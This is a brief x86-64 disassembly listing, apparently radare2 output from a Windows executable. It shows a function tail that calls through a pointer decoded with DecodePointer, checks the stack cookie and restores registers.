mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x7ff706824500]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x7ff70681b96e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x7ff70681b970
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.7ff706813590
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret